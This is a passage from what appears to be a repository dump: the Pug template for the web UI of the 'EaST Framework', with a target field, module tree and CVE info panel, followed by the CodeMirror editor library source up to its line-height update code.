input.form-control(v-show=\"option.value.type == 'string'\",type=\"\", v-model=\"option.value.value\")\n              input(v-show=\"option.value.type == 'bool'\",type=\"checkbox\", v-model=\"option.value.value\")\n              select.form-control(v-show=\"option.value.type == 'list'\", v-model=\"option.value.selected\")\n                option(v-for=\"opt in option.value.options\", :selected=\"opt == option.value.selected\") {{opt}}\n        div(slot=\"header\").text-center\n          h4 {{moduleName}}\n\n    #imagePopup\n      re-modal(:show.sync=\"show\", :full='true')\n        img(:src=\"image || '/'\")\n        div(slot=\"header\").text-center\n          h4 Image\n        div(slot=\"footer\")\n          button.btn.btn-default(type=\"button\", :class=\"cancelClass\", @click=\"show=false\") Close\n\n    #mainVue\n      nav.navbar.navbar-inverse\n        .container-fluid\n          .navbar-header\n            a.navbar-brand(href=\"#\", :class=\"{'fg-red': !serverEnabled}\") EaST Framework {{ version }}\n          ul.navbar-form.navbar-right\n            .form-group\n              label.fg-white Target:\n              input.form-control(placeholder=\"127.0.0.1:80\", v-model=\"target\")\n      .container-fluid\n        .row\n          .col-md-4\n            tree-view(:model.sync=\"modules\").fg-white\n            re-module-info(:module.sync=\"selectedModule\")\n          .col-md-8\n            tab-view(:tabs.sync=\"tabs\") \n\n    //- .row\n    //-   ul.col-md-4\n    //-     .panel.panel-primary.tree-widget#tree\n    //-       .panel-heading.text-center\n    //-         h4 Modules\n    //-         table\n    //-           tr\n    //-             td          \n    //-               button.btn.btn-default(title=\"Run selected module\" @click=\"runSelectedModule()\")\n    //-                 i.fa.fa-play\n    //-             td          \n    //-               button.btn.btn-default(title=\"Edit selected module\" @click=\"editSelectedModule()\")\n    //-                 i.fa.fa-edit\n    //-       .panel-body(style=\"height:70%;\")\n    //-         tree-view(:model=\"treeData\")\n\n    //-     .panel.panel-primary.info-widget#info\n    //-       .panel-heading.text-center\n    //-         h4 Info\n    //-       .panel-body.scrollable-panel\n    //-         b Module name: \n    //-         |  {{name}}\n    //-         br\n    //-         b Description: \n    //-         |  {{description}}\n    //-         br\n    //-         b Vendor: \n    //-         a(href=\"{{vendor}}\" target=\"_blank\")  {{vendor}}\n    //-         br\n    //-         b CVE: \n    //-         |  {{cve}}\n    //-         br\n    //-         b Download link:\n    //-         br\n    //-         a(href=\"{{downloadLink}}\" target=\"_blank\") {{downloadLink}}\n    //-         br\n    //-         b Links:\n    //-         li(v-for=\"link in links\" v-show=\"link\")\n    //-           a(href=\"{{link}}\" target=\"_blank\") {{link}}                \n    //-         br\n    //-         b Notes: \n    //-         pre.pre-scrollable {{notes}}\n    //-   ul.col-md-8#tabs\n    //-     tab-view(:tabs=\"tabsData\")\n\n"
  },
  {
    "path": "ui/js/codemirror.js",
    "content": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n// This is CodeMirror (http://codemirror.net), a code editor\n// implemented in JavaScript on top of the browser's DOM.\n//\n// You can find some technical background for some of the code below\n// at http://marijnhaverbeke.nl/blog/#cm-internals .\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    module.exports = mod();\n  else if (typeof define == \"function\" && define.amd) // AMD\n    return define([], mod);\n  else // Plain browser env\n    this.CodeMirror = mod();\n})(function() {\n  \"use strict\";\n\n  // BROWSER SNIFFING\n\n  // Kludges for bugs and behavior differences that can't be feature\n  // detected are enabled based on userAgent etc sniffing.\n\n  var gecko = /gecko\\/\\d/i.test(navigator.userAgent);\n  // ie_uptoN means Internet Explorer version N or lower\n  var ie_upto10 = /MSIE \\d/.test(navigator.userAgent);\n  var ie_11up = /Trident\\/(?:[7-9]|\\d{2,})\\..*rv:(\\d+)/.exec(navigator.userAgent);\n  var ie = ie_upto10 || ie_11up;\n  var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]);\n  var webkit = /WebKit\\//.test(navigator.userAgent);\n  var qtwebkit = webkit && /Qt\\/\\d+\\.\\d+/.test(navigator.userAgent);\n  var chrome = /Chrome\\//.test(navigator.userAgent);\n  var presto = /Opera\\//.test(navigator.userAgent);\n  var safari = /Apple Computer/.test(navigator.vendor);\n  var khtml = /KHTML\\//.test(navigator.userAgent);\n  var mac_geMountainLion = /Mac OS X 1\\d\\D([8-9]|\\d\\d)\\D/.test(navigator.userAgent);\n  var phantom = /PhantomJS/.test(navigator.userAgent);\n\n  var ios = /AppleWebKit/.test(navigator.userAgent) && /Mobile\\/\\w+/.test(navigator.userAgent);\n  // This is woefully incomplete. Suggestions for alternative methods welcome.\n  var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent);\n  var mac = ios || /Mac/.test(navigator.platform);\n  var windows = /win/i.test(navigator.platform);\n\n  var presto_version = presto && navigator.userAgent.match(/Version\\/(\\d*\\.\\d*)/);\n  if (presto_version) presto_version = Number(presto_version[1]);\n  if (presto_version && presto_version >= 15) { presto = false; webkit = true; }\n  // Some browsers use the wrong event properties to signal cmd/ctrl on OS X\n  var flipCtrlCmd = mac && (qtwebkit || presto && (presto_version == null || presto_version < 12.11));\n  var captureRightClick = gecko || (ie && ie_version >= 9);\n\n  // Optimize some code when these features are not used.\n  var sawReadOnlySpans = false, sawCollapsedSpans = false;\n\n  // EDITOR CONSTRUCTOR\n\n  // A CodeMirror instance represents an editor. This is the object\n  // that user code is usually dealing with.\n\n  function CodeMirror(place, options) {\n    if (!(this instanceof CodeMirror)) return new CodeMirror(place, options);\n\n    this.options = options = options || {};\n    // Determine effective options based on given values and defaults.\n    copyObj(defaults, options, false);\n    setGuttersForLineNumbers(options);\n\n    var doc = options.value;\n    if (typeof doc == \"string\") doc = new Doc(doc, options.mode);\n    this.doc = doc;\n\n    var display = this.display = new Display(place, doc);\n    display.wrapper.CodeMirror = this;\n    updateGutters(this);\n    themeChanged(this);\n    if (options.lineWrapping)\n      this.display.wrapper.className += \" CodeMirror-wrap\";\n    if (options.autofocus && !mobile) focusInput(this);\n\n    this.state = {\n      keyMaps: [],  // stores maps added by addKeyMap\n      overlays: [], // highlighting overlays, as added by addOverlay\n      modeGen: 0,   // bumped when mode/overlay changes, used to invalidate highlighting info\n      overwrite: false, focused: false,\n      suppressEdits: false, // used to disable editing during key handlers when in readOnly mode\n      pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in readInput\n      draggingText: false,\n      highlight: new Delayed() // stores highlight worker timeout\n    };\n\n    // Override magic textarea content restore that IE sometimes does\n    // on our hidden textarea on reload\n    if (ie && ie_version < 11) setTimeout(bind(resetInput, this, true), 20);\n\n    registerEventHandlers(this);\n    ensureGlobalHandlers();\n\n    var cm = this;\n    runInOp(this, function() {\n      cm.curOp.forceUpdate = true;\n      attachDoc(cm, doc);\n\n      if ((options.autofocus && !mobile) || activeElt() == display.input)\n        setTimeout(bind(onFocus, cm), 20);\n      else\n        onBlur(cm);\n\n      for (var opt in optionHandlers) if (optionHandlers.hasOwnProperty(opt))\n        optionHandlers[opt](cm, options[opt], Init);\n      maybeUpdateLineNumberWidth(cm);\n      for (var i = 0; i < initHooks.length; ++i) initHooks[i](cm);\n    });\n  }\n\n  // DISPLAY CONSTRUCTOR\n\n  // The display handles the DOM integration, both for input reading\n  // and content drawing. It holds references to DOM nodes and\n  // display-related state.\n\n  function Display(place, doc) {\n    var d = this;\n\n    // The semihidden textarea that is focused when the editor is\n    // focused, and receives input.\n    var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n    // The textarea is kept positioned near the cursor to prevent the\n    // fact that it'll be scrolled into view on input from scrolling\n    // our fake cursor out of view. On webkit, when wrap=off, paste is\n    // very slow. So make the area wide instead.\n    if (webkit) input.style.width = \"1000px\";\n    else input.setAttribute(\"wrap\", \"off\");\n    // If border: 0; -- iOS fails to open keyboard (issue #1287)\n    if (ios) input.style.border = \"1px solid black\";\n    input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n    // Wraps and hides input textarea\n    d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n    // The fake scrollbar elements.\n    d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n    d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n    // Covers bottom-right square when both scrollbars are present.\n    d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n    // Covers bottom of gutter when coverGutterNextToScrollbar is on\n    // and h scrollbar is present.\n    d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n    // Will contain the actual code, positioned to cover the viewport.\n    d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n    // Elements are added to these to represent selection and cursors.\n    d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n    d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n    // A visibility: hidden element used to find the size of things.\n    d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n    // When lines outside of the viewport are measured, they are drawn in this.\n    d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n    // Wraps everything that needs to exist inside the vertically-padded coordinate system\n    d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n                      null, \"position: relative; outline: none\");\n    // Moved around its parent to cover visible view.\n    d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n    // Set to the height of the document, allowing scrolling.\n    d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n    // Behavior of elts with overflow: auto and padding is\n    // inconsistent across browsers. This is used to ensure the\n    // scrollable area is big enough.\n    d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\n    // Will contain the gutters, if any.\n    d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n    d.lineGutter = null;\n    // Actual scrollable element.\n    d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n    d.scroller.setAttribute(\"tabIndex\", \"-1\");\n    // The element in which the editor lives.\n    d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\n                            d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n    // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n    if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n    // Needed to hide big blue blinking cursor on Mobile Safari\n    if (ios) input.style.width = \"0px\";\n    if (!webkit) d.scroller.draggable = true;\n    // Needed to handle Tab key in KHTML\n    if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n    // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n    if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\n\n    if (place.appendChild) place.appendChild(d.wrapper);\n    else place(d.wrapper);\n\n    // Current rendered range (may be bigger than the view window).\n    d.viewFrom = d.viewTo = doc.first;\n    // Information about the rendered lines.\n    d.view = [];\n    // Holds info about a single rendered line when it was rendered\n    // for measurement, while not in view.\n    d.externalMeasured = null;\n    // Empty space (in pixels) above the view\n    d.viewOffset = 0;\n    d.lastSizeC = 0;\n    d.updateLineNumbers = null;\n\n    // Used to only resize the line number gutter when necessary (when\n    // the amount of lines crosses a boundary that makes its width change)\n    d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n    // See readInput and resetInput\n    d.prevInput = \"\";\n    // Set to true when a non-horizontal-scrolling line widget is\n    // added. As an optimization, line widget aligning is skipped when\n    // this is false.\n    d.alignWidgets = false;\n    // Flag that indicates whether we expect input to appear real soon\n    // now (after some event like 'keypress' or 'input') and are\n    // polling intensively.\n    d.pollingFast = false;\n    // Self-resetting timeout for the poller\n    d.poll = new Delayed();\n\n    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n    // Tracks when resetInput has punted to just putting a short\n    // string into the textarea instead of the full selection.\n    d.inaccurateSelection = false;\n\n    // Tracks the maximum line length so that the horizontal scrollbar\n    // can be kept static when scrolling.\n    d.maxLine = null;\n    d.maxLineLength = 0;\n    d.maxLineChanged = false;\n\n    // Used for measuring wheel scrolling granularity\n    d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n    // True when shift is held down.\n    d.shift = false;\n\n    // Used to track whether anything happened since the context menu\n    // was opened.\n    d.selForContextMenu = null;\n  }\n\n  // STATE UPDATES\n\n  // Used to get the editor into a consistent state again when options change.\n\n  function loadMode(cm) {\n    cm.doc.mode = CodeMirror.getMode(cm.options, cm.doc.modeOption);\n    resetModeState(cm);\n  }\n\n  function resetModeState(cm) {\n    cm.doc.iter(function(line) {\n      if (line.stateAfter) line.stateAfter = null;\n      if (line.styles) line.styles = null;\n    });\n    cm.doc.frontier = cm.doc.first;\n    startWorker(cm, 100);\n    cm.state.modeGen++;\n    if (cm.curOp) regChange(cm);\n  }\n\n  function wrappingChanged(cm) {\n    if (cm.options.lineWrapping) {\n      addClass(cm.display.wrapper, \"CodeMirror-wrap\");\n      cm.display.sizer.style.minWidth = \"\";\n    } else {\n      rmClass(cm.display.wrapper, \"CodeMirror-wrap\");\n      findMaxLine(cm);\n    }\n    estimateLineHeights(cm);\n    regChange(cm);\n    clearCaches(cm);\n    setTimeout(function(){updateScrollbars(cm);}, 100);\n  }\n\n  // Returns a function that estimates the height of a line, to use as\n  // first approximation until the line becomes visible (and is thus\n  // properly measurable).\n  function estimateHeight(cm) {\n    var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;\n    var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);\n    return function(line) {\n      if (lineIsHidden(cm.doc, line)) return 0;\n\n      var widgetsHeight = 0;\n      if (line.widgets) for (var i = 0; i < line.widgets.length; i++) {\n        if (line.widgets[i].height) widgetsHeight += line.widgets[i].height;\n      }\n\n      if (wrapping)\n        return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th;\n      else\n        return widgetsHeight + th;\n    };\n  }\n\n  function estimateLineHeights(cm) {\n    var doc = cm.doc, est = estimateHeight(cm);\n    doc.iter(function(line) {\n      var estHeight = est(line);\n      if (estHeight != line.height) updateLineHeight(line, estHeight);\n    });\n  }\n\n  function keyMapChanged(cm) {\n    var map = keyMap[cm.options.keyMap], style = map.style;\n    cm.display.wrapper.className = cm.display.wrapper.className.replace(/\\s*cm-keymap-\\S+/g, \"\") +\n      (style ? \" cm-keymap-\" + style : \"\");\n  }\n\n  function themeChanged(cm) {\n    cm.display.wrapper.className = cm.display.wrapper.className.replace(/\\s*cm-s-\\S+/g, \"\") +\n      cm.options.theme.replace(/(^|\\s)\\s*/g, \" cm-s-\");\n    clearCaches(cm);\n  }\n\n  function guttersChanged(cm) {\n    updateGutters(cm);\n    regChange(cm);\n    setTimeout(function(){alignHorizontally(cm);}, 20);\n  }\n\n  // Rebuild the gutter elements, ensure the margin to the left of the\n  // code matches their width.\n  function updateGutters(cm) {\n    var gutters = cm.display.gutters, specs = cm.options.gutters;\n    removeChildren(gutters);\n    for (var i = 0; i < specs.length; ++i) {\n      var gutterClass = specs[i];\n      var gElt = gutters.appendChild(elt(\"div\", null, \"CodeMirror-gutter \" + gutterClass));\n      if (gutterClass == \"CodeMirror-linenumbers\") {\n        cm.display.lineGutter = gElt;\n        gElt.style.width = (cm.display.lineNumWidth || 1) + \"px\";\n      }\n    }\n    gutters.style.display = i ? \"\" : \"none\";\n    updateGutterSpace(cm);\n  }\n\n  function updateGutterSpace(cm) {\n    var width = cm.display.gutters.offsetWidth;\n    cm.display.sizer.style.marginLeft = width + \"px\";\n    cm.display.scrollbarH.style.left = cm.options.fixedGutter ? width + \"px\" : 0;\n  }\n\n  // Compute the character length of a line, taking into account\n  // collapsed ranges (see markText) that might hide parts, and join\n  // other lines onto it.\n  function lineLength(line) {\n    if (line.height == 0) return 0;\n    var len = line.text.length, merged, cur = line;\n    while (merged = collapsedSpanAtStart(cur)) {\n      var found = merged.find(0, true);\n      cur = found.from.line;\n      len += found.from.ch - found.to.ch;\n    }\n    cur = line;\n    while (merged = collapsedSpanAtEnd(cur)) {\n      var found = merged.find(0, true);\n      len -= cur.text.length - found.from.ch;\n      cur = found.to.line;\n      len += cur.text.length - found.to.ch;\n    }\n    return len;\n  }\n\n  // Find the longest line in the document.\n  function findMaxLine(cm) {\n    var d = cm.display, doc = cm.doc;\n    d.maxLine = getLine(doc, doc.first);\n    d.maxLineLength = lineLength(d.maxLine);\n    d.maxLineChanged = true;\n    doc.iter(function(line) {\n      var len = lineLength(line);\n      if (len > d.maxLineLength) {\n        d.maxLineLength = len;\n        d.maxLine = line;\n      }\n    });\n  }\n\n  // Make sure the gutters options contains the element\n  // \"CodeMirror-linenumbers\" when the lineNumbers option is true.\n  function setGuttersForLineNumbers(options) {\n    var found = indexOf(options.gutters, \"CodeMirror-linenumbers\");\n    if (found == -1 && options.lineNumbers) {\n      options.gutters = options.gutters.concat([\"CodeMirror-linenumbers\"]);\n    } else if (found > -1 && !options.lineNumbers) {\n      options.gutters = options.gutters.slice(0);\n      options.gutters.splice(found, 1);\n    }\n  }\n\n  // SCROLLBARS\n\n  function hScrollbarTakesSpace(cm) {\n    return cm.display.scroller.clientHeight - cm.display.wrapper.clientHeight < scrollerCutOff - 3;\n  }\n\n  // Prepare DOM reads needed to update the scrollbars. Done in one\n  // shot to minimize update/measure roundtrips.\n  function measureForScrollbars(cm) {\n    var scroll = cm.display.scroller;\n    return {\n      clientHeight: scroll.clientHeight,\n      barHeight: cm.display.scrollbarV.clientHeight,\n      scrollWidth: scroll.scrollWidth, clientWidth: scroll.clientWidth,\n      hScrollbarTakesSpace: hScrollbarTakesSpace(cm),\n      barWidth: cm.display.scrollbarH.clientWidth,\n      docHeight: Math.round(cm.doc.height + paddingVert(cm.display))\n    };\n  }\n\n  // Re-synchronize the fake scrollbars with the actual size of the\n  // content.\n  function updateScrollbars(cm, measure) {\n    if (!measure) measure = measureForScrollbars(cm);\n    var d = cm.display, sWidth = scrollbarWidth(d.measure);\n    var scrollHeight = measure.docHeight + scrollerCutOff;\n    var needsH = measure.scrollWidth > measure.clientWidth;\n    if (needsH && measure.scrollWidth <= measure.clientWidth + 1 &&\n        sWidth > 0 && !measure.hScrollbarTakesSpace)\n      needsH = false; // (Issue #2562)\n    var needsV = scrollHeight > measure.clientHeight;\n\n    if (needsV) {\n      d.scrollbarV.style.display = \"block\";\n      d.scrollbarV.style.bottom = needsH ? sWidth + \"px\" : \"0\";\n      // A bug in IE8 can cause this value to be negative, so guard it.\n      d.scrollbarV.firstChild.style.height =\n        Math.max(0, scrollHeight - measure.clientHeight + (measure.barHeight || d.scrollbarV.clientHeight)) + \"px\";\n    } else {\n      d.scrollbarV.style.display = \"\";\n      d.scrollbarV.firstChild.style.height = \"0\";\n    }\n    if (needsH) {\n      d.scrollbarH.style.display = \"block\";\n      d.scrollbarH.style.right = needsV ? sWidth + \"px\" : \"0\";\n      d.scrollbarH.firstChild.style.width =\n        (measure.scrollWidth - measure.clientWidth + (measure.barWidth || d.scrollbarH.clientWidth)) + \"px\";\n    } else {\n      d.scrollbarH.style.display = \"\";\n      d.scrollbarH.firstChild.style.width = \"0\";\n    }\n    if (needsH && needsV) {\n      d.scrollbarFiller.style.display = \"block\";\n      d.scrollbarFiller.style.height = d.scrollbarFiller.style.width = sWidth + \"px\";\n    } else d.scrollbarFiller.style.display = \"\";\n    if (needsH && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {\n      d.gutterFiller.style.display = \"block\";\n      d.gutterFiller.style.height = sWidth + \"px\";\n      d.gutterFiller.style.width = d.gutters.offsetWidth + \"px\";\n    } else d.gutterFiller.style.display = \"\";\n\n    if (!cm.state.checkedOverlayScrollbar && measure.clientHeight > 0) {\n      if (sWidth === 0) {\n        var w = mac && !mac_geMountainLion ? \"12px\" : \"18px\";\n        d.scrollbarV.style.minWidth = d.scrollbarH.style.minHeight = w;\n        var barMouseDown = function(e) {\n          if (e_target(e) != d.scrollbarV && e_target(e) != d.scrollbarH)\n            operation(cm, onMouseDown)(e);\n        };\n        on(d.scrollbarV, \"mousedown\", barMouseDown);\n        on(d.scrollbarH, \"mousedown\", barMouseDown);\n      }\n      cm.state.checkedOverlayScrollbar = true;\n    }\n  }\n\n  // Compute the lines that are visible in a given viewport (defaults\n  // the the current scroll position). viewport may contain top,\n  // height, and ensure (see op.scrollToPos) properties.\n  function visibleLines(display, doc, viewport) {\n    var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;\n    top = Math.floor(top - paddingTop(display));\n    var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;\n\n    var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);\n    // Ensure is a {from: {line, ch}, to: {line, ch}} object, and\n    // forces those lines into the viewport (if possible).\n    if (viewport && viewport.ensure) {\n      var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;\n      if (ensureFrom < from)\n        return {from: ensureFrom,\n                to: lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight)};\n      if (Math.min(ensureTo, doc.lastLine()) >= to)\n        return {from: lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight),\n                to: ensureTo};\n    }\n    return {from: from, to: Math.max(to, from + 1)};\n  }\n\n  // LINE NUMBERS\n\n  // Re-align line numbers and gutter marks to compensate for\n  // horizontal scrolling.\n  function alignHorizontally(cm) {\n    var display = cm.display, view = display.view;\n    if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return;\n    var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;\n    var gutterW = display.gutters.offsetWidth, left = comp + \"px\";\n    for (var i = 0; i < view.length; i++) if (!view[i].hidden) {\n      if (cm.options.fixedGutter && view[i].gutter)\n        view[i].gutter.style.left = left;\n      var align = view[i].alignable;\n      if (align) for (var j = 0; j < align.length; j++)\n        align[j].style.left = left;\n    }\n    if (cm.options.fixedGutter)\n      display.gutters.style.left = (comp + gutterW) + \"px\";\n  }\n\n  // Used to ensure that the line number gutter is still the right\n  // size for the current document size. Returns true when an update\n  // is needed.\n  function maybeUpdateLineNumberWidth(cm) {\n    if (!cm.options.lineNumbers) return false;\n    var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;\n    if (last.length != display.lineNumChars) {\n      var test = display.measure.appendChild(elt(\"div\", [elt(\"div\", last)],\n                                                 \"CodeMirror-linenumber CodeMirror-gutter-elt\"));\n      var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;\n      display.lineGutter.style.width = \"\";\n      display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding);\n      display.lineNumWidth = display.lineNumInnerWidth + padding;\n      display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;\n      display.lineGutter.style.width = display.lineNumWidth + \"px\";\n      updateGutterSpace(cm);\n      return true;\n    }\n    return false;\n  }\n\n  function lineNumberFor(options, i) {\n    return String(options.lineNumberFormatter(i + options.firstLineNumber));\n  }\n\n  // Computes display.scroller.scrollLeft + display.gutters.offsetWidth,\n  // but using getBoundingClientRect to get a sub-pixel-accurate\n  // result.\n  function compensateForHScroll(display) {\n    return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left;\n  }\n\n  // DISPLAY DRAWING\n\n  function DisplayUpdate(cm, viewport, force) {\n    var display = cm.display;\n\n    this.viewport = viewport;\n    // Store some values that we'll need later (but don't want to force a relayout for)\n    this.visible = visibleLines(display, cm.doc, viewport);\n    this.editorIsHidden = !display.wrapper.offsetWidth;\n    this.wrapperHeight = display.wrapper.clientHeight;\n    this.oldViewFrom = display.viewFrom; this.oldViewTo = display.viewTo;\n    this.oldScrollerWidth = display.scroller.clientWidth;\n    this.force = force;\n    this.dims = getDimensions(cm);\n  }\n\n  // Does the actual updating of the line display. Bails out\n  // (returning false) when there is nothing to be done and forced is\n  // false.\n  function updateDisplayIfNeeded(cm, update) {\n    var display = cm.display, doc = cm.doc;\n    if (update.editorIsHidden) {\n      resetView(cm);\n      return false;\n    }\n\n    // Bail out if the visible area is already rendered and nothing changed.\n    if (!update.force &&\n        update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&\n        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&\n        countDirtyView(cm) == 0)\n      return false;\n\n    if (maybeUpdateLineNumberWidth(cm)) {\n      resetView(cm);\n      update.dims = getDimensions(cm);\n    }\n\n    // Compute a suitable new viewport (from & to)\n    var end = doc.first + doc.size;\n    var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);\n    var to = Math.min(end, update.visible.to + cm.options.viewportMargin);\n    if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom);\n    if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo);\n    if (sawCollapsedSpans) {\n      from = visualLineNo(cm.doc, from);\n      to = visualLineEndNo(cm.doc, to);\n    }\n\n    var different = from != display.viewFrom || to != display.viewTo ||\n      display.lastSizeC != update.wrapperHeight;\n    adjustView(cm, from, to);\n\n    display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));\n    // Position the mover div to align with the current scroll position\n    cm.display.mover.style.top = display.viewOffset + \"px\";\n\n    var toUpdate = countDirtyView(cm);\n    if (!different && toUpdate == 0 && !update.force &&\n        (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))\n      return false;\n\n    // For big changes, we hide the enclosing element during the\n    // update, since that speeds up the operations on most browsers.\n    var focused = activeElt();\n    if (toUpdate > 4) display.lineDiv.style.display = \"none\";\n    patchDisplay(cm, display.updateLineNumbers, update.dims);\n    if (toUpdate > 4) display.lineDiv.style.display = \"\";\n    // There might have been a widget with a focused element that got\n    // hidden or updated, if so re-focus it.\n    if (focused && activeElt() != focused && focused.offsetHeight) focused.focus();\n\n    // Prevent selection and cursors from interfering with the scroll\n    // width.\n    removeChildren(display.cursorDiv);\n    removeChildren(display.selectionDiv);\n\n    if (different) {\n      display.lastSizeC = update.wrapperHeight;\n      startWorker(cm, 400);\n    }\n\n    display.updateLineNumbers = null;\n\n    return true;\n  }\n\n  function postUpdateDisplay(cm, update) {\n    var force = update.force, viewport = update.viewport;\n    for (var first = true;; first = false) {\n      if (first && cm.options.lineWrapping && update.oldScrollerWidth != cm.display.scroller.clientWidth) {\n        force = true;\n      } else {\n        force = false;\n        // Clip forced viewport to actual scrollable area.\n        if (viewport && viewport.top != null)\n          viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - scrollerCutOff -\n                                    cm.display.scroller.clientHeight, viewport.top)};\n        // Updated line heights might result in the drawn area not\n        // actually covering the viewport. Keep looping until it does.\n        update.visible = visibleLines(cm.display, cm.doc, viewport);\n        if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)\n          break;\n      }\n      if (!updateDisplayIfNeeded(cm, update)) break;\n      updateHeightsInViewport(cm);\n      var barMeasure = measureForScrollbars(cm);\n      updateSelection(cm);\n      setDocumentHeight(cm, barMeasure);\n      updateScrollbars(cm, barMeasure);\n    }\n\n    signalLater(cm, \"update\", cm);\n    if (cm.display.viewFrom != update.oldViewFrom || cm.display.viewTo != update.oldViewTo)\n      signalLater(cm, \"viewportChange\", cm, cm.display.viewFrom, cm.display.viewTo);\n  }\n\n  function updateDisplaySimple(cm, viewport) {\n    var update = new DisplayUpdate(cm, viewport);\n    if (updateDisplayIfNeeded(cm, update)) {\n      updateHeightsInViewport(cm);\n      postUpdateDisplay(cm, update);\n      var barMeasure = measureForScrollbars(cm);\n      updateSelection(cm);\n      setDocumentHeight(cm, barMeasure);\n      updateScrollbars(cm, barMeasure);\n    }\n  }\n\n  function setDocumentHeight(cm, measure) {\n    cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = measure.docHeight + \"px\";\n    cm.display.gutters.style.height = Math.max(measure.docHeight, measure.clientHeight - scrollerCutOff) + \"px\";\n  }\n\n  function checkForWebkitWidthBug(cm, measure) {\n    // Work around Webkit bug where it sometimes reserves space for a\n    // non-existing phantom scrollbar in the scroller (Issue #2420)\n    if (cm.display.sizer.offsetWidth + cm.display.gutters.offsetWidth < cm.display.scroller.clientWidth - 1) {\n      cm.display.sizer.style.minHeight = cm.display.heightForcer.style.top = \"0px\";\n      cm.display.gutters.style.height = measure.docHeight + \"px\";\n    }\n  }\n\n  // Read the actual heights of the rendered lines, and update their\n  // stored heights to match.\n  function updateHeightsInViewport(cm) {\n    var display = cm.display;\n    var prevBottom = display.lineDiv.offsetTop;\n    for (var i = 0; i < display.view.length; i++) {\n      var cur = display.view[i], height;\n      if (cur.hidden) continue;\n      if (ie && ie_version < 8) {\n        var bot = cur.node.offsetTop + cur.node.offsetHeight;\n        height = bot - prevBottom;\n        prevBottom = bot;\n      } else {\n        var box = cur.node.getBoundingClientRect();\n        height = box.bottom - box.top;\n      }\n      var diff = cur.line.height - height;\n      if (height < 2) height = textHeight(display);\n      if (diff > .001 || diff < -.001) {\n        updateLineHeight(cur.line, height);\n        updateWidgetHeight(cur.line);\n        if (cur.rest) for (var j = 0; j < cur.rest.length; j++)\n          updateWidgetHeight(cur.rest[j]);\n      }\n    }\n  }\n\n  // Read and store the height of line widgets associated with 